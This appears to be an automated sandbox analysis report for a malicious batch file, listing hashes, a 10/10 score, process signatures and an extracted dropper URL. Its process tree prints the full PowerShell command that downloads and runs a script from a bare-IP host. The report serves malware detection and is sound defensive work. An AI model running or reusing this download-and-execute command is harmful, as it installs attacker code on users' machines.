3efce93dd9105db75b8a9634774a9d39cc0f03c08598237f8ec0958d3d121e0e | Triage

Analysis

max time kernel
107s
max time network
108s
platform
windows10_x64
resource
win10v200217
submitted
02-04-2020 15:10

Sharing

Report Analysis Logs

General

Target

qeMZ0hsA.bat
Size

198B
MD5

dbdcd0ab61ac04d5a8795b41b1f91646
SHA1

b94545d0a340a837622f2785ce5c108ef9ffebe7
SHA256

3efce93dd9105db75b8a9634774a9d39cc0f03c08598237f8ec0958d3d121e0e
SHA512

a5083ac4ca7232a5c83e4c9337d0b7634394e359772bce80ed0450f7a42e1d43f5dcaccf25a9fcb37b46fcc2948d23e9758d3a39c43985f8ba3fc11bf7bc81b6

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/qeMZ0hsA

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2604 3492 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2604 WerFault.exe
Token: SeBackupPrivilege 2604 WerFault.exe
Token: SeDebugPrivilege 2604 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe
2604	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\qeMZ0hsA.bat"
1⤵
PID:4012

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/qeMZ0hsA');Invoke-XOMAVFLLGJHSHUI;Start-Sleep -s 10000"
2⤵
PID:3492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3492 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2604

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2604-0-0x0000000004650000-0x0000000004651000-memory.dmp

Filesize
4KB

Download
memory/2604-1-0x0000000004D80000-0x0000000004D81000-memory.dmp

Filesize
4KB

Download
memory/2604-2-0x0000000005180000-0x0000000005181000-memory.dmp

Filesize
4KB

Download